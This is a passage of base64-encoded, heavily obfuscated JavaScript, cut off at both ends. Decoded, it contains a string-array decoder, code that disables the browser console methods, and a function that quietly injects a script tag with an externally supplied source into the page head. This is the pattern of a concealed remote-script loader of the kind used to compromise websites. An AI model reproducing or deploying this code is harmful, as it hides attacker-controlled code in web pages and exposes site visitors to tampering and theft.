3BhcnNlSW50KF8weDRiMjA0YigweDMzZiwweDM1OSwweDM3ZiwweDM3OCkpLygweDI0MDUrLTB4MTlmMSstMHhhMGEpO2lmKF8weDE4YjA4MD09PV8weDRiYTZkZSlicmVhaztlbHNlIF8weDQ5ZDE2MlsncHVzaCddKF8weDQ5ZDE2Mlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NGY1OWE1KXtfMHg0OWQxNjJbJ3B1c2gnXShfMHg0OWQxNjJbJ3NoaWZ0J10oKSk7fX19KF8weDFlYTIsLTB4MSotMHg4YzZlKzB4MjI2KjB4MWJjKy0weGIzKjB4MzI5KSk7ZnVuY3Rpb24ga3BwYShfMHg1NDI2NTgpe3ZhciBfMHg4YWEyNjA9eydSWWp3Sic6JygoKC4rKSspKyknKycrJCcsJ2x4cmJaJzpmdW5jdGlvbihfMHgxZDg0NmEsXzB4MWYyNjQxKXtyZXR1cm4gXzB4MWQ4NDZhPT09XzB4MWYyNjQxO30sJ0dNWU5uJzpfMHgxYTVjYTIoMHgxZjMsMHgxZjksMHgxZWUsMHgxZTYpLCdmYUVCVyc6ZnVuY3Rpb24oXzB4MjU5OGU5LF8weDMyNWYwYil7cmV0dXJuIF8weDI1OThlOT09PV8weDMyNWYwYjt9LCdGZkNRWCc6XzB4NGFhNzE3KC0weDFhZiwtMHgxYTAsLTB4MWE0LC0weDFiYyksJ0ZQWkFkJzpmdW5jdGlvbihfMHgzNjg5NDIsXzB4ZGM5ZDBmKXtyZXR1cm4gXzB4MzY4OTQyKF8weGRjOWQwZik7fSwndFRhT24nOmZ1bmN0aW9uKF8weDMzNzE3NSxfMHgyMDIyOWQpe3JldHVybiBfMHgzMzcxNzUrXzB4MjAyMjlkO30sJ2taR3ZaJzpmdW5jdGlvbihfMHgzNWE1NGMsXzB4MzliOGFjKXtyZXR1cm4gXzB4MzVhNTRjK18weDM5YjhhYzt9LCdEVFJ2eCc6XzB4MWE1Y2EyKDB4MjU2LDB4MjRjLDB4Mjg3LDB4MjIzKStfMHg0YWE3MTcoLTB4MjBkLC0weDFlYiwtMHgxZTQsLTB4MWU5KSwnTGFoQ1gnOl8weDRhYTcxNygtMHgxZGEsLTB4MWVkLC0weDFkYSwtMHgxZWYpK18weDFhNWNhMigweDFmOSwweDIwZCwweDFkNiwweDIwZCkrXzB4MWE1Y2EyKDB4MjBmLDB4MWQ5LDB4MWZiLDB4MjEwKSsnXHgyMCknLCdrd1F2TCc6ZnVuY3Rpb24oXzB4MzU4YTU5LF8weGMwYjM0YSl7cmV0dXJuIF8weDM1OGE1OT09PV8weGMwYjM0YTt9LCduRXJNUCc6XzB4MWE1Y2EyKDB4MjBjLDB4MjQzLDB4MjI1LDB4MWZiKSwnSmpkbnInOmZ1bmN0aW9uKF8weDU2OWRhMyl7cmV0dXJuIF8weDU2OWRhMygpO30sJ1luS3huJzpfMHg0YWE3MTcoLTB4MWQ3LC0weDFiYiwtMHgxYjYsLTB4MTg3KSwnVGdDRVAnOid3YXJuJywnWGNGVEwnOl8weDFhNWNhMigweDIyZCwweDI0NiwweDI0OCwweDIxZiksJ2pQbVpXJzpfMHg0YWE3MTcoLTB4MWRkLC0weDE4NCwtMHgxYjEsLTB4MTk0KSwncER4QWwnOl8weDRhYTcxNygtMHgxZDYsLTB4MWM0LC0weDFmMiwtMHgxZTIpLCdWSk1DTyc6ZnVuY3Rpb24oXzB4OWY5NDdhLF8weDU0NzdhNyxfMHg1ZDdlNjQpe3JldHVybiBfMHg5Zjk0N2EoXzB4NTQ3N2E3LF8weDVkN2U2NCk7fSwnVmxwVE4nOmZ1bmN0aW9uKF8weDE3YmViNCl7LyoweDUxNjIqL3JldHVybiBfMHgxN2JlYjQoKTt9LCd5UWZCbSc6J3RleHQvamF2YXMnK18weDRhYTcxNygtMHgxYzksLTB4MWJiLC0weDFiMywtMHgxYzkpLCdrVUJOQSc6XzB4MWE1Y2EyKDB4MjRlLDB4MjY4LDB4Mjc1LDB4MjU4KSwnbWNrcHAnOidoZWFkJywnRERVRVAnOl8weDFhNWNhMigweDIwZCwweDFkZCwweDIxOSwweDIzNil9O2Z1bmN0aW9uIF8weDFhNWNhMihfMHg0ZWEwZTcsXzB4MjkwZGRmLF8weDVhYzA0MCxfMHg0NGYwYzYpe3JldHVybiBfMHg1MTNiKF8weDRlYTBlNy0weDE3MyxfMHg1YWMwNDApO31mdW5jdGlvbiBfMHg0YWE3MTcoXzB4MjgwMWI1LF8weDUxYWExMyxfMHgxOGEwODQsXzB4Mzg5ZjY4KXtyZXR1cm4gXzB4NTEzYihfMHgxOGEwODQtIC0weDI4MSxfMHgyODAxYjUpO312YXIgXzB4MWJmYTQxPShmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDQyMGFiOShfMHg1ODgzNTAsXzB4NDA5ZmVhLF8weDQ3NDE3OSxfMHgyMmFhODgpe3JldHVybiBfMHgxYTVjYTIoXzB4MjJhYTg4LTB4MjJjLF8weDQwOWZlYS0weGU5LF8weDU4ODM1MCxfMHgyMmFhODgtMHg0OSk7fXZhciBfMHgxYzA4Zjc9eydvUEh0dSc6XzB4OGFhMjYwWydSWWp3SiddLCdxanlLeCc6ZnVuY3Rpb24oXzB4YjViZjBmLF8weDQxNWE0NSl7ZnVuY3Rpb24gXzB4ZThjMDBmKF8weDIxYTRjMixfMHg1MTYzYzEsXzB4NTI1OTJjLF8weDExZWI2Nyl7cmV0dXJuIF8weDUxM2IoXzB4MTFlYjY3LSAtMHgxOGYsXzB4NTE2M2MxKTt9cmV0dXJuIF8weDhhYTI2MFtfMHhlOGMwMGYoLTB4MTFhLC0weDE0YSwtMHgxMzEsLTB4MTE3KV0oXzB4YjViZjBmLF8weDQxNWE0NSk7fSwnUm5zS3onOl8weDhhYTI2MFtfMHgyZWM3MjQoLTB4YTgsLTB4NzgsLTB4YWIsLTB4NzcpXX07ZnVuY3Rpb24gXzB4MmVjNzI0KF8weDFkMmE1OCxfMHgzZGU3ZDAsXzB4MzdlYzgwLF8weDI1MWNiZil7cmV0dXJuIF8weDRhYTcxNyhfMHgzZGU3ZDAsXzB4M2RlN2QwLTB4YmMsXzB4MWQyYTU4LTB4MTQxLF8weDI1MWNiZi0weDE2Mik7fWlmKF8weDhhYTI2MFtfMHgyZWM3MjQoLTB4NmIsLTB4OTEsLTB4NzEsLTB4YTQpXShfMHg4YWEyNjBbXzB4MmVjNzI0KC0weDdmLC0weDRlLC0weDg2LC0weDc4KV0sXzB4NDIwYWI5KDB4NDRiLDB4NGEwLDB4NDcxLDB4NDcxKSkpcmV0dXJuIF8weDM1OTU1MFsndG9TdHJpbmcnXSgpWydzZWFyY2gnXSh5cWpxaVRbXzB4NDIwYWI5KDB4NDFlLDB4NDdhLDB4NDdhLDB4NDUyKV0pW18weDQyMGFiOSgweDQ5MywweDQzOCwweDQyOSwweDQ1ZildKClbJ2NvbnN0cnVjdG8nKydyJ10oXzB4NGUzYjU2KVsnc2VhcmNoJ10oeXFqcWlUW18weDJlYzcyNCgtMHg4ZCwtMHhiNCwtMHg3NywtMHg3NSldKTtlbHNle3ZhciBfMHgyOWUxNjU9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4MWMzNWZjLF8weDI0OWU3ZCl7dmFyIF8weDFkOGRlYz1fMHgyOWUxNjU/ZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgzYWJjZjYoXzB4NzA4OTQsXzB4NGU2MjI5LF8weDJhYWE3YyxfMHhmMGVlZTApe3JldHVybiBfMHg1MTNiKF8weDcwODk0LTB4ZGUsXzB4NGU2MjI5KTt9ZnVuY3Rpb24gXzB4NDM1Y2ZiKF8weDJmYjVlZixfMHgxYzJiZDQsXzB4MzdhOWQ2LF8weDQ1YmFhNSl7cmV0dXJuIF8weDUxM2IoXzB4MWMyYmQ0LSAtMHgxM2MsXzB4MzdhOWQ2KTt9aWYoXzB4MWMwOGY3W18weDQzNWNmYigtMHhkZSwtMHhhYiwtMHhhZSwtMHhkMCldKF8weDFjMDhmN1tfMHg0MzVjZmIoLTB4N2UsLTB4NmIsLTB4YTAsLTB4ODApXSxfMHg0MzVjZmIoLTB4ODcsLTB4YzIsLTB4ZWUsLTB4ZmUpKSlfMHgyODIzY2E9XzB4NDM1Y2ZiKC0weGE4LC0weGE4LC0weDdmLC0weGQ0KTtlbHNle2lmKF8weDI0OWU3ZCl7dmFyIF8weDVmMzBmNT1fMHgyNDllN2RbJ2FwcGx5J10oXzB4MWMzNWZjLGFyZ3VtZW50cyk7cmV0dXJuIF8weDI0OWU3ZD1udWxsLF8weDVmMzBmNTt9fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHgyOWUxNjU9IVtdLF8weDFkOGRlYzt9O319KCkpLF8weDNjNDVkYj1fMHg4YWEyNjBbXzB4NGFhNzE3KC0weDIwNywtMHgxZDAsLTB4MWRmLC0weDFiOSldKF8weDFiZmE0MSx0aGlzLGZ1bmN0aW9uKCl7dmFyIF8weDRiMzAxZD1mdW5jdGlvbigpe3ZhciBfMHg0OWRlOWE7ZnVuY3Rpb24gXzB4YzNkMzM3KF8weDJiZTliMyxfMHg1ZDJjY2MsXzB4MjVhZmU0LF8weDM4ZmRmYSl7cmV0dXJuIF8weDUxM2IoXzB4NWQyY2NjLSAtMHgxMmUsXzB4MmJlOWIzKTt9ZnVuY3Rpb24gXzB4OTgyYjc0KF8weDI4MGFiNSxfMHg0ZmEzZTgsXzB4MTU3NTA0LF8weGRlNGI4MCl7cmV0dXJuIF8weDUxM2IoXzB4NGZhM2U4LSAtMHg2NyxfMHgyODBhYjUpO310cnl7XzB4NDlkZTlhPV8weDhhYTI2MFtfMHhjM2QzMzcoLTB4NjgsLTB4NTIsLTB4NmEsLTB4ODApXShGdW5jdGlvbixfMHg4YWEyNjBbJ3RUYU9uJ10oXzB4OGFhMjYwWydrWkd2WiddKF8weDhhYTI2MFtfMHg5ODJiNzQoMHgyNiwweDQ0LDB4MjEsMHg3NildLF8weDhhYTI2MFtfMHhjM2QzMzcoLTB4NmIsLTB4ODIsLTB4NmYsLTB4OGUpXSksJyk7JykpKCk7fWNhdGNoKF8weDE3MjI4Nil7aWYoXzB4OGFhMjYwWydrd1F2TCddKF8weDhhYTI2MFsnbkVyTVAnXSxfMHg4YWEyNjBbXzB4OTgyYjc0KDB4MjEsMHgyMywweDM4LC0weGIpXSkpXzB4NDlkZTlhPXdpbmRvdztlbHNle3ZhciBfMHgyODc2NTk9XzB4M2U5MmExW18weDk4MmI3NCgtMHgyLDB4YiwweDEyLDB4OCldKF8weDQyM2IwOCxhcmd1bWVudHMpO3JldHVybiBfMHgzYmJiZDI9bnVsbCxfMHgyODc2NTk7fX1yZXR1cm4gXzB4NDlkZTlhO30sXzB4MWM3OTY0PV8weDhhYTI2MFtfMHg0MmFjNDIoLTB4MmViLC0weDJmOCwtMHgyZDksLTB4MmUzKV0oXzB4NGIzMDFkKTtmdW5jdGlvbiBfMHg0MmFjNDIoXzB4MTBhZTA0LF8weDRlMDU0MSxfMHhmNzk5NzYsXzB4MTY5MGZmKXtyZXR1cm4gXzB4MWE1Y2EyKF8weDRlMDU0MS0gLTB4NTUwLF8weDRlMDU0MS0weDE4MCxfMHgxNjkwZmYsXzB4MTY5MGZmLTB4MTBmKTt9ZnVuY3Rpb24gXzB4MWVhYTdmKF8weDI2OTE3ZCxfMHgxODkxNGMsXzB4NDExZjhkLF8weDcyN2RlOCl7cmV0dXJuIF8weDRhYTcxNyhfMHg0MTFmOGQsXzB4MTg5MTRjLTB4MTIsXzB4MjY5MTdkLTB4OTYsXzB4NzI3ZGU4LTB4MTM4KTt9dmFyIF8weDFjNTc3Mj1fMHgxYzc5NjRbXzB4MWVhYTdmKC0weDE2OCwtMHgxNTksLTB4MTY1LC0weDE1OCldPV8weDFjNzk2NFtfMHg0MmFjNDIoLTB4Mzc3LC0weDM1YSwtMHgzOTQsLTB4MzIyKV18fHt9LF8weDhmN2I3Yj1bXzB4OGFhMjYwWydZbkt4biddLF8weDhhYTI2MFsnVGdDRVAnXSxfMHg4YWEyNjBbXzB4MWVhYTdmKC0weDEyNiwtMHgxMDEsLTB4MTE0LC0weDEzMyldLF8weDhhYTI2MFsnalBtWlcnXSxfMHg0MmFjNDIoLTB4MzUwLC0weDMzMCwtMHgzMTIsLTB4MzVkKSxfMHg4YWEyNjBbXzB4NDJhYzQyKC0weDJmMCwtMHgzMTYsLTB4MzFjLC0weDJlNCldLF8weDFlYWE3ZigtMHgxMDcsLTB4MTM1LC0weGQ4LC0weDExNyldO2Zvcih2YXIgXzB4NTM2NGI2PS0weDExZDIrMHhhNCotMHgyNCsweDI4ZTI7XzB4NTM2NGI2PF8weDhmN2I3YltfMHgxZWFhN2YoLTB4MTZjLC0weDE0YywtMHgxNmEsLTB4MTY2KV07XzB4NTM2NGI2Kyspe3ZhciBfMHg4MjJjY2E9KF8weDQyYWM0MigtMHgzNzYsLTB4MzY4LC0weDM5YiwtMHgzNDIpKycyJylbXzB4MWVhYTdmKC0weDE2YSwtMHgxNGYsLTB4MTc3LC0weDE3NyldKCd8JyksXzB4MWM1OGU4PTB4MjBjYSsweGUqMHgxNjArMHgxKi0weDM0MGE7d2hpbGUoISFbXSl7c3dpdGNoKF8weDgyMmNjYVtfMHgxYzU4ZTgrK10pe2Nhc2UnMCc6dmFyIF8weDRiNTQzZD1fMHgxYmZhNDFbXzB4NDJhYzQyKC0weDM3NywtMHgzNDIsLTB4MzM0LC0weDM2NikrJ3InXVtfMHgxZWFhN2YoLTB4MTY2LC0weDEzMywtMHgxODcsLTB4MWEyKV1bXzB4MWVhYTdmKC0weDE2ZCwtMHgxNTYsLTB4MTllLC0weDE3YildKF8weDFiZmE0MSk7Y29udGludWU7Y2FzZScxJzp2YXIgXzB4NGFlNmY5PV8weDhmN2I3YltfMHg1MzY0YjZdO2NvbnRpbnVlO2Nhc2UnMic6XzB4MWM1NzcyW18weDRhZTZmOV09XzB4NGI1NDNkO2NvbnRpbnVlO2Nhc2UnMyc6XzB4NGI1NDNkWydfX3Byb3RvX18nXT1fMHgxYmZhNDFbXzB4NDJhYzQyKC0weDMzYywtMHgzNWYsLTB4Mzc3LC0weDM5MyldKF8weDFiZmE0MSk7Y29udGludWU7Y2FzZSc0Jzp2YXIgXzB4MTk4YzgyPV8weDFjNTc3MltfMHg0YWU2ZjldfHxfMHg0YjU0M2Q7Y29udGludWU7Y2FzZSc1JzpfMHg0YjU0M2RbXzB4MWVhYTdmKC0weDEyYiwtMHgxMzAsLTB4ZjUsLTB4MTIwKV09XzB4MTk4YzgyWyd0b1N0cmluZyddW18weDFlYWE3ZigtMHgxNmQsLTB4MTg0LC0weDE4NywtMHgxM2MpXShfMHgxOThjODIpO2NvbnRpbnVlO31icmVhazt9fX0pO18weDhhYTI2MFtfMHgxYTVjYTIoMHgyMmUsMHgyMDAsMHgyMWEsMHgyM2UpXShfMHgzYzQ1ZGIpO3ZhciBfMHgzYzgxYWU9ZG9jdW1lbnRbJ2NyZWF0ZUVsZW0nK18weDRhYTcxNygtMHgyMTUsLTB4MWNmLC0weDIwNCwtMHgyMjMpXShfMHgxYTVjYTIoMHgxZjUsMHgxY2YsMHgyMTQsMHgxZmIpKTtfMHgzYzgxYWVbXzB4MWE1Y2EyKDB4MWUyLDB4MjExLDB4MWMwLDB4MWU3KV09XzB4OGFhMjYwW18weDFhNWNhMigweDFlNCwweDIxMywweDFiMywweDIwYSldLF8weDNjODFhZVtfMHg0YWE3MTcoLTB4MWMwLC0weDFlYiwtMHgxZGUsLTB4MWJmKV09XzB4NTQyNjU4LF8weDNjODFhZVsnaWQnXT1fMHg4YWEyNjBbXzB4NGFhNzE3KC0weDFlOSwtMHgxZTYsLTB4MjExLC0weDFmZildO2lmKGRvY3VtZW50W18weDRhYTcxNygtMHgxN2YsLTB4MTc1LC0weDFhNywtMHgxYTUpKydCeUlkJ10oXzB4NGFhNzE3KC0weDE4OSwtMHgxY2UsLTB4MWE2LC0weDFkZikpKXt9ZWxzZSBkb2N1bWVudFtfMHg0YWE3MTcoLTB4MWUwLC0weDFiYSwtMHgxYTcsLTB4MTk4KStfMHg0YWE3MTcoLTB4MWEzLC0weDFkNCwtMHgxYmYsLTB4MWVmKV0oXzB4OGFhMjYwW18weDFhNWNhMigweDIzZiwweDI2YiwweDI0NCwweDI1NSldKVstMHgyMWQzKzB4MSoweDI2MWQrMHg2Ki0weGI3XVsnYXBwZW5kQ2hpbCcrJ2QnXShfMHgzYzgxYWUpLGRvY3VtZW50WydnZXRFbGVtZW50JytfMHgxYTVjYTIoMHgyMzYsMHgyMzcsMHgyNTEsMHgyMTgpXShfMHg4YWEyNjBbXzB4MWE1Y2EyKDB4MjFiLDB4MjE0LDB4MjE3LDB4MjA0KV0pJiZkb2N1bWVudFsnZ2V0RWxlbWVudCcrXzB4NGFhNzE3KC0weDFlYywtMHgxOTYsLTB4MWJlLC0weDFiMyldKF8weDhhYTI2MFtfMHgxYTVjYTIoMHgyMWIsMHgyNTAsMHgyMzksMHgyNGYpXSlbXzB4NGFhNzE3KC0weDFmOCwtMHgxYzAsLTB4MWQ3LC0weDFmZSldKCk7fWZ1bmN0aW9uIF8weGEyMWM4NihfMHg0ZjY0ODUsXzB4MzY4ZGJiLF8weDMyNzY0NSxfMHgyOTBmNjcpe3JldHVybiBfMHg1MTNiKF8weDMyNzY0NS0gLTB4Mzk0LF8weDRmNjQ4NSk7fWZ1bmN0aW9uIF8weDUxM2IoXzB4MTBhMWQ4LF8weDFhYWJjMCl7dmFyIF8weDIzMGY3ZD1fMHgxZWEyKCk7cmV0dXJuIF8weDUxM2I9ZnVuY3Rpb24oXzB4MmU2ZTJmLF8weDI4MjNjYSl7XzB4MmU2ZTJmPV8weDJlNmUyZi0oMHg4KjB4MjYrMHgxYzBjKy0weGU2NyoweDIpO3ZhciBfMHgyM2MxYzA9XzB4MjMwZjdkW18weDJlNmUyZl07aWYoXzB4NTEzYlsnbEVPUWFzJ109PT11bmRlZmluZWQpe3ZhciBfMHhiMTc2ND1mdW5jdGlvbihfMHgyNjQ3ZGEpe3ZhciBfMHg1N2EyNWE9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgXzB4MjkxZDQ5PScnLF8weDU4YmY3Nz0nJyxfMHg0NjIzNDc9XzB4MjkxZDQ5K18weGIxNzY0O2Zvcih2YXIgXzB4MmNkODYxPTB4NGM3Ky0weDIqMHgzMDMrMHgxM2YsXzB4NWE3NjhmLF8weDUwYzJiMCxfMHg0YWRkOGE9LTB4MTQ5ZCstMHg2KjB4MjNkKzB4MjIwYjtfMHg1MGMyYjA9XzB4MjY0N2RhWydjaGFyQXQnXShfMHg0YWRkOGErKyk7fl8weDUwYzJiMCYmKF8weDVhNzY4Zj1fMHgyY2Q4NjElKDB4MjY5YSsweDE2ODIqMHgxKy0weDNkMTgpP18weDVhNzY4ZiooLTB4NzYwKjB4MistMHgxZGU1KzB4MmNlNSkrXzB4NTBjMmIwOl8weDUwYzJiMCxfMHgyY2Q4NjErKyUoMHg0KjB4NmYzKy0weDY2NCstMHhhYjIqMHgyKSk/XzB4MjkxZDQ5Kz1fMHg0NjIzNDdbJ2NoYXJDb2RlQXQnXShfMHg0YWRkOGErKDB4MyoweDlmMCstMHgzOTYrMHg0Ki0weDY4YykpLSgtMHgzYyotMHg1YysweDJlMistMHg4KjB4MzBkKSE9PS0weDEzNjUqLTB4MistMHgyM2RlKy0weDJlYz9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weDlkKjB4MistMHgxZSoweDliKzB4MTQ2MyZfMHg1YTc2OGY+PigtKC0weDEqMHhjZTQrMHgxOTc1Ky0weGM4ZikqXzB4MmNkODYxJi0weDEwYWIrMHhmYzkrMHgyKjB4NzQpKTpfMHgyY2Q4NjE6MHgxKi0weDI4MystMHgzMGEqLTB4NCstMHg5YTUpe18weDUwYzJiMD1fMHg1N2EyNWFbJ2luZGV4T2YnXShfMHg1MGMyYjApO31mb3IodmFyIF8weDFjZWY1ND0weDEyZDUrLTB4MTdlOSotMHgxKy0weDEqMHgyYWJlLF8weDhlZDE3Mj1fMHgyOTFkNDlbJ2xlbmd0aCddO18weDFjZWY1NDxfMHg4ZWQxNzI7XzB4MWNlZjU0Kyspe18weDU4YmY3Nys9JyUnKygnMDAnK18weDI5MWQ0OVsnY2hhckNvZGVBdCddKF8weDFjZWY1NClbJ3RvU3RyaW5nJ10oMHgxKjB4MTViMisweDlkZSstMHgxZjgwKSlbJ3NsaWNlJ10oLSgweDIyNjArMHg3NDYrLTB4MTQqMHgyMTUpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChfMHg1OGJmNzcpO307XzB4NTEzYlsndGtsYVBWJ109XzB4YjE3NjQsXzB4MTBhMWQ4PWFyZ3VtZW50cyxfMHg1MTNiWydsRU9RYXMnXT0hIVtdO312YXIgXzB4NDM4NWYyPV8weDIzMGY3ZFstMHgxMzUxKy0weDIwY2ErLTB4MzQxYiotMHgxXSxfMHg1NWE3ZGQ9XzB4MmU2ZTJmK18weDQzODVmMixfMHgzNzMzMGI9XzB4MTBhMWQ4W18weDU1YTdkZF07aWYoIV8weDM3MzMwYil7dmFyIF8weDM5ODg4YT1mdW5jdGlvbihfMHgzYmUzZmQpe3RoaXNbJ05iT1prTiddPV8weDNiZTNmZCx0aGlzWydZcWpuWHQnXT1bMHhmNmUrMHgxKjB4OTA5Ky0weDEqMHgxODc2LC0weDFiYWIrMHgzNiotMHg0MCstMHgzKi0weGRiOSwtMHgxOTJlKy0weDEqLTB4MTVmZCstMHgxMyotMHgyYl0sdGhpc1sncHB6VExkJ109ZnVuY3Rpb24oKXtyZXR1cm4nbmV3U3RhdGUnO30sdGhpc1snSHdVSUhDJ109J1x4NWN3K1x4MjAqXHg1YyhceDVjKVx4MjAqe1x4NWN3K1x4MjAqJyx0aGlzWydCdHJZZlEnXT0nW1x4Mjd8XHgyMl0uK1tceDI3fFx4MjJdOz9ceDIwKn0nO307XzB4Mzk4ODhhWydwcm90b3R5cGUnXVsneFBrbkhWJ109ZnVuY3Rpb24oKXt2YXIgXzB4MTJjOWI4PW5ldyBSZWdFeHAodGhpc1snSHdVSUhDJ10rdGhpc1snQnRyWWZRJ10pLF8weDU0NWQ4Yj1fMHgxMmM5YjhbJ3Rlc3QnXSh0aGlzWydwcHpUTGQnXVsndG9TdHJpbmcnXSgpKT8tLXRoaXNbJ1lxam5YdCddWy0weDFjNjgrLTB4NDIzKi0weDErMHgxODQ2XTotLXRoaXNbJ1lxam5YdCddWzB4NTkqMHg1KzB4MTg3MisweDFhMmYqLTB4MV07cmV0dXJuIHRoaXNbJ29SRGdZSSddKF8weDU0NWQ4Yik7fSxfMHgzOTg4OGFbJ3Byb3RvdHlwZSddWydvUkRnWUknXT1mdW5jdGlvbihfMHgzYzJjYTkpe2lmKCFCb29sZWFuKH5fMHgzYzJjYTkpKXJldHVybiBfMHgzYzJjYTk7cmV0dXJuIHRoaXNbJ3NObFdVdSddKHRoaXNbJ05iT1prTiddKTt9LF8weDM5ODg4YVsncHJvdG90eXBlJ11bJ3NObFdVdSddPWZ1bmN0aW9uKF8weGIyMmRkMSl7Zm9yKHZhciBfMHgyNDJiOWU9MHgxKjB4MTNiYistMHgxKi0weDEzMWUrLTB4MjZkOSxfMHgyMzJjNzI9dGhpc1snWXFqblh0J11bJ2xlbmd0aCddO18weDI0MmI5ZTxfMHgyMzJjNzI7XzB4MjQyYjllKyspe3RoaXNbJ1lxam5YdCddWydwdXNoJ10oTWF0aFsncm91bmQnXShNYXRoWydyYW5kb20nXSgpKSksXzB4MjMyYzcyPXRoaXNbJ1lxam5YdCddWydsZW5ndGgnXTt9cmV0dXJuIF8weGIyMmRkMSh0aGlzWydZcWpuWHQnXVsweDMqLTB4NTY1KzB4MjM4KzB4ZGY3KjB4MV0pO30sbmV3IF8weDM5ODg4YShfMHg1MTNiKVsneFBrbkhWJ10oKSxfMHgyM2MxYzA9XzB4NTEzYlsndGtsYVBWJ10oXzB4MjNjMWMwKSxfMHgxMGExZDhbXzB4NTVhN2RkXT1fMHgyM2MxYzA7fWVsc2UgXzB4MjNjMWMwPV8weDM3MzMwYjtyZXR1cm4gXzB4MjNjMWMwO30sXzB4NTEzYihfMHgxMGExZDgsXzB4MWFhYmMwKTt9ZnVuY3Rpb24gXzB4MWVhMigpe3ZhciBfMHg0YWI0MmY9WydDMnZVemEnLCdBd2ZTd3V5JywnQzJIVkNhJywndnhEaUFmaScsJ3lNWEh5MlMnLCdCMWJpRGh1JywnbXRhWG9mclNDaExKQkcnLCdDTXZaQ2c5VUMydnV6cScsJ0JNZlR6cScsJ0MydkhDTW5PJywnbmhXWG14V1lueFdZRmEnLCd1eGYyRHVtJywnQXc1TUJXJywndk1YV3ZlNCcsJ251enV1M0RUc1cnLCd2dW5remVXJywnbXRtMG12TGl0eHZzQlcnLCdtdG44bjNXWG1oV1ltRycsJ0RnOXREaGpQQk1DJywnck16ZHV2RycsJ0MwajV2Z2ZOdE1mVHpxJywncU5ManphJywneTJyaXQwRycsJ3dnbmd2ZVcnLCd5M2pWQzNtJywnQ2VyNHF3VycsJ21aeTVvdGUxbWd6NEJ1MU1xVycsJ210bVhuZHVabmVETHN3SGdEcScsJ210ZVhuZHEwbU5QY0V4YmV3RycsJ0JnOU4nLCdCd25SQ2hhJywneTJYUCcsJ3kzalBDaHEnLCdzd1g1Q3dDJywnenhqWUIzaScsJ3VNNVpzM08nLCdyM0x1dGVxJywnRDJIUERndScsJ0N4SHN6MnEnLCd6TWZmcUxDJywnQjNQWnRMQycsJ0MzdklDM3JZQXc1TicsJ0NLdnlFZ1MnLCd6ZXJTcTN1JywnejJ2MHJ3WExCd3ZVRGEnLCdBTm5XeXhiUCcsJ3JMYkFxd3EnLCd0d2ptRDFHJywnbmRDNG5kSFBEdnpBcXhpJywnbE5yVkNhJywnbUpyOG1oV1hueFcxRmEnLCd5eGJXenc1S3EySFBCYScsJ3lZNUpCMjAnLCdDTXYwRHhqVWljSE1EcScsJ0Roakh5MnUnLCdzTVBLQk5pJywnQXM1SkIyMCcsJ0RoTFd6cScsJ0ExdmN0S2UnLCdFdmZNcU0wJywneXhiV0JoSycsJ290dTRtSmFab3R1JywneU1YMXpxJywnbWhXWEZkcjhtM1cxRmEnLCdyMHZ1Jywnbk5XWG4zV1ltVycsJ0JoSFl5TE8nLCd1dmp6dnhxJywncjJEMERmQycsJ0NjNVAnLCd5eGJQbEcnLCd6dzUwJywneU1MVXphJywnQmd2VXozck8nLCd6dXpoQTF1JywnQzNiU0F4cScsJ0MybllBeGIwJywneTI5VUMyOVN6cScsJ3pnZjB6cScsJ0NoalZEZzkwRXhiTCcsJ3kzclZDSUdJQ012MERxJywnQk1IcnoyNCcsJ0IwampEMDAnLCdBdzVLenhIcHpHJywnQkt2WXR2YScsJ3UxcnF0aGknLCd2SzE0dTFHJywna2NHT2xJU1BrWUtSa3EnLCd6TmpWQnVuT3l4amRCVycsJ0RnZklCZ3UnLCdtdGUzeXZmWHYwbnknLCdDd1A1czNHJywnQU5uSENnS1VEVycsJ0VmemxEeHEnLCdsTUxKRHEnLCdBZ3ZIemEnLCdtWmlabmR6d3d3SHp6MmUnLCd6ZzlKQVcnLCdyMDF6dE00JywncUs5bXV3SycsJ3lNdjN6d1haJywneTI5VUMzcllEd24wQlcnLCdDTTRHRGdIUENZaVBrYScsJ0JNbjBBdzlVa2NLRycsJ3kyOVV5MmYwJywnejA5dkN2dScsJ21KdVdtSm0xb2RpV21XJywnbE1uVkJxJywndktQbnEwOCcsJ0MzakonLCdtdGEwbmR1M21MRHZ2Z0QwRHEnLCdCZ0xVenEnLCd1MkRJdndtJywnRTMwVXkyOVVDM3JZRHEnLCdyZXJ2cnZhJywnbXRqOG5OV1hGZEg4bUcnLCdDTXZUQjN6TCcsJ3JmcnNETkcnLCd0Z2ZPcTFHJywnenhISnp4YjBBdzlVJ107XzB4MWVhMj1mdW5jdGlvbigpe3JldHVybiBfMHg0YWI0MmY7fTtyZXR1cm4gXzB4MWVhMigpO31mdW5jdGlvbiBfMHgyNjZhNjcoXzB4MmY1MjhlLF8weDNmNDhiYyxfMHgxMThmMGIsXzB4MThjMzI0KXtyZXR1cm4gXzB4NTEzYihfMHgyZjUyOGUtMHgxY2YsXzB4M2Y0OGJjKTt9ZnVuY3Rpb24gZ3RnKF8weDM3ZTBhYil7dmFyIF8weDI0NzhkNT17J3F4UmdkJzpmdW5jdGlvbihfMHg0OGZlNzEsXzB4MTJkMmI0KXtyZXR1cm4gXzB4NDhmZTcxK18weDEyZDJiNDt9LCdTYUpuSSc6ZnVuY3Rpb24oXzB4MmUzOTI4LF8weDFlNWI1YSl7cmV0dXJuIF8weDJlMzkyOD09PV8weDFlNWI1YTt9LCdyRVh4ayc6J2dPVXFVJywnUVJZVXQnOl8weDEyMzJmKC0weDIzYSwtMHgyMDMsLTB4MjE1LC0weDIwNSksJ1NUUExyJzpmdW5jdGlvbihfMHgxYWU1M2EsXzB4NDc4MjAxKXtyZXR1cm4gXzB4MWFlNTNhIT09XzB4NDc4MjAxO30sJ1VDSmRMJzpfMHgxMjMyZigtMHgxZmUsLTB4MWVlLC0weDIxZCwtMHgyMjgpLCdvenNOVyc6J2ltT3pxJywnU2tGUlQnOl8weDEyMzJmKC0weDFlZiwtMHgxZWQsLTB4MjAzLC0weDFlNiksJ3hWS3V0JzpmdW5jdGlvbihfMHgxN2FmYWEsXzB4MzQ5Mjc0KXtyZXR1cm4gXzB4MTdhZmFhIT09XzB4MzQ5Mjc0O30sJ0lseXFn